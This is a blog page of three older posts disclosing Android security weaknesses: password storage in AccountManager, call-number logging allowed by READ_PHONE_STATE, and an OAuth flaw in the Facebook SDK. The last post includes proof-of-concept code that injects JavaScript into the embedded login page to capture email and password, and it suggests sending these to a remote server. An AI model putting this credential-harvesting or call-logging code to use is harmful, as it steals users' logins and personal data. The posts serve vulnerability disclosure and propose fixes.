Monday, January 3, 2011

Security Issue Exposed by Android AccountManager

It is a painful experience for users to repeatedly enter their credentials on small devices, such as mobile phones. Because of password strength requirements from individual service providers, the combination of upper-lower-case letters, digits and special symbols, makes sign-in on smart phones  a very unpleasant process.
To alleviate this unnecessary hassle, many Android applications such as Gmail and Facebook apps are now using Android’s AccountManager to manage the user credential (account ID and password). This enables delegated SSO (not a federated SSO, such as OpenID) for many related applications to share same account sign-on.

For details on AccountManager and account authenticator, please reference Android API, http://developer.android.com/reference/android/accounts/AccountManager.html  and http://developer.android.com/reference/android/accounts/AbstractAccountAuthenticator.html
Now, with user’s consent, an installed authentication service (for specific account type and associated authenticator) enables AccountManager to register and manage user accounts. For each account, AccountManager will enforce the access control of user credential (account ID and password) and auth-token (produced via authenticator).
How secure is user’s account?
The stored password (intended for account’s authenticator) can only be accessed by caller who holds the permission AUTHENTICATE_ACCOUNTS and has the same UID as the account's authenticator.
Android is based on Linux kernel and uses Linux security model; it leverages Linux user accounts to silo applications. When installed, applications are given an unique UID, and the application will always run as that UID on that particular device.  Applications signed with a different key can never request to be run with the same UID, enforced by Android’s PackageManager.
Thus, one might reach the conclusion that it is safe to store account passwords in Android. Unfortunately, however, it is untrue.
To understand the security impact due the subtle difference on account management approaches, let’s first examine standards-compliant password management.
As we all know, the only confidentiality between a registered user and the account provider, in ID/password based authentication system, is achieved by “securely managed” password validation.
Only user can set and supply account password, and the account provider cannot retrieve or recover user’s password by any means, even though it can validate the correctness of user's password.
On user’s side, password is normally stored in user’s memory, not on a notebook, computer or any physical device. On the account provider side, the user's password should not be directly stored in its “secure” system, even with encryption (such as AES). Account provider would only store cryptographically hashed value of password (such as SHA). Because of this one-way-“encryption”, the user’s password cannot be retrieved from the system by the account provider, as well as inside and outside intruders. The authentication process is based on the matching of the hashing value, not exact password matching.
This trust model only leaves a small window of opportunity for password leaking: during registration (or password reset) or authentication process (password guessing attack is not considered here).
Now back to Android account management model, the user's password was stored on a physical medium (phone) besides user’s memory, which could be retrieved by “trusted” Android processes.
Unfortunately, this security model suffers similar fate as when user writes password on notebook, since both can lead to password leaking when the physical medium (phone or paper) becomes lost or stolen.
Although it is difficult for ordinary folks to retrieve stored passwords from a stolen Android phone, it is fairly easy for hackers and criminals. A valid password is more valuable than auth token or other secondary credential, since it can be utilized more easily on ATO (account take over), possibly on many other accounts for same user, since many users tend to reuse same password for multiple accounts, due to complex password strength requirements; it is hard for user to remember many cryptic words.
How can hackers retrieve stored password from a lost or stolen Android phone?
It is extremely simple to gain a root access on any Android phone. There are readily downloadable programe (such as, unrevoked) to root an Android phone in a few minutes.
After rooting, one can easily access the underline OS and file system as a super user via Android’s adb. The following example shows a window session to access system data files, including accounts.db, password.key and packages.xml, etc.

With the help of open-source Android OS, one can easily create a modified program to retrieve stored account info, including passwords.
So what’s different between Android’s account manager and other password safes? The major difference is that the encrypted passwords stored in password-safe require a master-password from user to decrypt, while Android’s account management doesn’t. A lost or stolen password-safe cannot be cracked easily unless the hacker cracks master password.
If Android account management system could employ master password to store and retrieve account passwords by the authenticator, then it can significantly reduce the security concern for lost or stolen phones. Since the master password is only for your phone’s account manager, one can choose a much simpler and easy-to-type-and-remember sequence based on his/her phone's key board without worry about password strength requirements imposed by the account providers.
In conclusion, the current Android account management system is not safe; avoid it whenever you can. Unfortunately, many preinstalled Android apps, such as Gmail and Facebook, are already using it, so be aware what you get when you enjoy the convenience of those delegated single-sign-on.

Wednesday, November 17, 2010

Have we involuntarily granted partial wiretapping for our android phone?

There are a lot of android apps that require RAED_PHONE_STATE permission. Many of them have legit reason to do so, as they need to manage the audio and microphone state to avoid conflict with incoming calls.
Unfortunately, this simple permission also enables evil apps to obtain many of your personal info that you never want to give out.
From TelephonyManager, any evil app could obtain your phone’s IMEI or ESN, phone number, SIM number and operator, etc.
Do you also realize that an evil app (with long running background service) can also do passive wiretapping? The following sample code demonstrates the recording of all incoming phone numbers.
  TelephonyManager mgr = (TelephonyManager)getSystemService(Context.TELEPHONY_SERVICE);
  mgr.listen(new PhoneStateListener() {
         public void onCallStateChanged(int state, String incomingNumber) {
             super.onCallStateChanged(state, incomingNumber);
             if (state == TelephonyManager.CALL_STATE_RINGING) {
                 wiretapping(incomingNumber);
             }
         }
      }, PhoneStateListener.LISTEN_CALL_STATE);
Should we pay more attention now when we grant RAED_PHONE_STATE permission while installing apps?

Monday, November 15, 2010

A serious OAuth security hole in Facebook SDK

Facebook SDK permits MITM attack for every hacker who wants to steal user’s Facebook credential (email and password).
The OAuth implementation shipped with Facebook SDK had ignored the warning from OAuth spec by using embedded browser, which completely defeated the purpose of OAuth: protecting first-order user credential from any third-party developers and their apps.
First, let’s recap the statement from OAuth 2.
Embedded user-agents pose a security challenge because users are authenticating in an unidentified window without access to the visual protections offered by many user-agents
In current IOS and Android platform, embedded browser launched by native mobile app can completely under the control of the application; therefore it enables Man-In-The-Middle attack for OAuth by any third-party application.
    
To demonstrate this security hole, add following code into com.facebook.android.FbDialog in its SDK.
(1)    Add following statement into setUpWebView method to enable browser JS callback
      mWebView.addJavascriptInterface(new HackJS(), "HackJS"); //HACKER

(2)    Add following code into onPageFinished method,
//HACKER
if (url.contains("facebook.com/login.php")) {
view.loadUrl("javascript:function hacker() {var f = document.getElementById('login_form'); HackJS.foundCredential(f.email.value, f.pass.value); f.submit()}; document.getElementById('login').onclick=hacker");
}
(3)    Add an inner class HackJS in FbDialog as a callback from browser,
public class HackJS {
            public void foundCredential(String name, String password) {
                  harvest(name, password);
      }
}

(4)    Implement your harvest method to send the encrypted data to your remote server. You are now ready to deploy your cool app and start to collect Facebook credentials. In my demo, I just simply display the stolen credential back to user.

        private void harvest(String name, String password) {
String message = "Your credential was stolen: name: " + name
+ "; pwd: " + password;
AlertDialog.Builder builder = new AlertDialog.Builder(this.getContext());
builder.setMessage(message).setNegativeButton(
  "Close", new DialogInterface.OnClickListener() {
public void onClick(DialogInterface dialog, int id) {
dialog.cancel();
}
});
AlertDialog alert = builder.create();
alert.show();
}
Following are the screen shots of Facebook’s simple Example distributed with its SDK, with the modified FbDialog.
   
Due to the usage of embedded browser, hackers can steal user’s credential with just a few lines of code based on standard API provided by hosting OS.
The MITM attack inside the app is almost undetectable by end user and OAuth provider, since it didn’t alter any auth flow.
What should have been done for Facebook OAuth?
First, it should educate its user community that, they should only enter their login credential into externally identifiable browser. The sign-in page should be from well-known host address with https and valid SSL certificate (your native browser already enforces that for you).
Second, provide a new OAuth client in its SDK by using external browser.
There are two ways to manage the callback from browser to native client.
(1)    Use protocol scheme handler supported by OS to handle OAuth redirect. One can define an OAuth redirect URL with custom protocol, such as “FbOAuth://facebook” instead of normal http, with configuration in AndroidManifest. For example,
     <intent-filter> 
<action android:name="android.intent.action.VIEW"/>
<category android:name="android.intent.category.DEFAULT"/> 
                <category android:name="android.intent.category.BROWSABLE"/>
                <data android:scheme="FbOAuth" android:host="facebook" /> 
     </intent-filter>
However, there is a possibility that the redirect URL was intercepted by another hack app with same filter (I have not confirmed this use case, since all my tests show that the intent was sent to the current activity - a singleton).
(2)    To completely protect redirect URL, I tried the following alternative approach by using embedded HTTPD inside native OAuth client to accept the redirect URL. When initiating the OAuth in native client, it first starts a light-weight HTTPD in any available port (for example search any available port above 8090), then constructs the correct redirect URL as http://localhost:8090 (or other port the current HTTPD server port is on) and launches external browser for OAuth. The final redirect URL from OAuth provider will be handled by native client via its internal HTTP request handler for HTTPD. The response from internal HTTPD will be another redirect (no OAuth query string data) with custom protocol, such as, FbOAuth://facebook. This second redirect will cause browser to close automatically. Since this second redirect URL doesn't contain any PII, we don't need to worry about interception.
One might ask a following question: how can you prevent hackers to launch a fake browser (implemented by native app with real browser appearance)? The answer is that you can’t.
However, as an end user, you are able to differentiate real browser and fake browser, intentionally or accidentally.
For example: (a) when external browser for OAuth is in display, simply holding (long press) universal Home button on your phone will popup application stack window. If it is a real browser, you will notice that the real browser is a first application in the application list, while you current app is second. (b) You could also press universal Menu button to bring up menu items for real browser if the current browser is a real one.
We can’t prevent hackers to fool others by providing hacked application with faked browser. However, by enforcing external browser policy for OAuth, the user community could police the market by identifying hacked OAuth clients by themselves, since this type of hack is easily detectable. It is enough for just a few people to discover the hack, then the large user community could be informed.
On a side note, the current Facebook’s OAuth SDK uses non-SSL for sign-in page, and then uses SSL for form submit. By doing so, it permits easy MITM attack in WIFI access point, not only for embedded browser, but also external browser, since there will be no SSL certificate validation for sign-in page.
The hacker could easily set up a WIFI access point in busy public area; intercept the non-SSL page request for OAuth, then present user a modified sign-in page so it can easily intercept your form submission with real credential.
I hope Facebook and other companies step up to protect user credential. Since many users use same or similar password for many of their other accounts, getting user’s real login credential from one account can greatly aid hackers to attack user's other accounts.